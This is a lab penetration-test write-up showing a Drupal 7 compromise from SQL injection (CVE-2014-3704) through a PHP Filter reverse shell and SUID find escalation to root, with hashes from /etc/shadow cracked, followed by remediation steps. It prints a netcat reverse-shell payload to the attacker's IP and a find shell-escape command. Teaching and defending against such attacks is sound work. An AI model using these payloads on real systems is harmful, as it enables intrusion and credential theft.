Pentest Lab: Web and System Exploitation Chain (Drupal to Root)

Disclaimer

This project was carried out in a controlled and isolated laboratory environment for educational and academic purposes. No real infrastructure was targeted. The goal is to learn how to secure systems by understanding attack mechanisms.

---

Work Environment and Objectives

The Scenario

The objective of this project is to perform a black box audit. This means the analysis starts with no prior knowledge of the target: no credentials, no technical documentation, and no source code were provided.

Lab Architecture

The infrastructure was deployed virtually under VMware in an isolated private network (Host-Only) to prevent any interaction with the outside.

• Attacker Machine (Kali Linux): 192.168.78.131
  • Tools: Nmap, Python, Netcat, John the Ripper.
• Target Machine (Victim): 192.168.78.132
  • OS: Linux (Debian).
  • Initial state: Unknown.

---

Phase 1: Reconnaissance and Scanning

The first step was to map the attack surface of the target machine using a port scan.

Command executed: nmap -sV 192.168.78.132

Identified services:

• Port 22 (TCP): SSH (OpenSSH 6.0p1).
• Port 80 (TCP): HTTP server (Apache 2.2.22).
• Port 111 (TCP): rpcbind.

Analysis of the web service (Port 80) and the robots.txt file revealed the presence of a Drupal CMS. Inspection of the source code identified an outdated version: Drupal 7.x.

---

Vulnerability Analysis

The results of the reconnaissance phase highlighted a critical attack surface: an unmaintained Drupal 7 CMS. This version is historically known to be vulnerable to major security flaws (notably "Drupalgeddon").

Given this, the audit focused on a targeted search for public vulnerabilities (CVE). This enumeration confirmed the existence of a complete exploitation chain, allowing a transition from a simple web visitor to a "Root" system administrator.

Identified attack vectors:

1. Web: SQL Injection (CVE-2014-3704).
2. Application: Misconfiguration of the "PHP Filter" module.
3. System: Dangerous SUID permissions on system binaries.

---

Exploitation (Kill Chain)

Step 1: Initial Intrusion (SQL Injection)

Exploitation of the CVE-2014-3704 (Drupalgeddon) vulnerability. This vulnerability in Drupal's database API allows SQL command injection without authentication.

• Action: Injection of a new user into the users table with Administrator privileges.
• Result: Access to the CMS administration panel.

Get the Python script

Step 2: Code Execution (RCE & Reverse Shell)

Once logged in as an administrator, use of the native PHP Filter module. This misconfigured module allows execution of arbitrary PHP code in the site's pages.

• Payload: <?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
• Result: Obtaining a remote shell on the Kali machine (user www-data).

Step 3: Privilege Escalation (To Root)

Analysis of files with SUID (Set User ID) permission. Discovery of a critical configuration on the find command.

• Escalation command: find . -exec '/bin/sh' \;
• Result: The find binary runs as root, launching a shell with Root (uid=0) privileges.

Step 4: Post-exploitation

Once root access was obtained, reading the sensitive file /etc/shadow to exfiltrate the hashes of user passwords.

• Action: Use of John the Ripper to crack SHA-512 hashes via dictionary attack.
• Result: Recovery of the root/user password (weak complexity), allowing persistence on the system.

---

Summary

The audit revealed a CRITICAL risk level. The combination of an outdated CMS and negligence in system configuration (SUID) allows complete compromise of the server.

Impacts for the organization:

• Confidentiality: Possible exfiltration of customer database and system files (/etc/shadow).
• Integrity: Total modification or deletion of site data.
• Availability: Risk of sabotage or service interruption.

Priority action plan:

1. Update: Migrate Drupal to the latest stable version to fix the SQLi vulnerability.
2. System Hardening: Remove the SUID bit from non-essential executables (chmod u-s /usr/bin/find).
3. Least Privilege: Disable the PHP Filter module if not strictly necessary.

---

Documentation

For the complete technical details, scripts used, and in-depth analysis, see the full report: Read the Audit Report (PDF)

Author

Fabien MOINE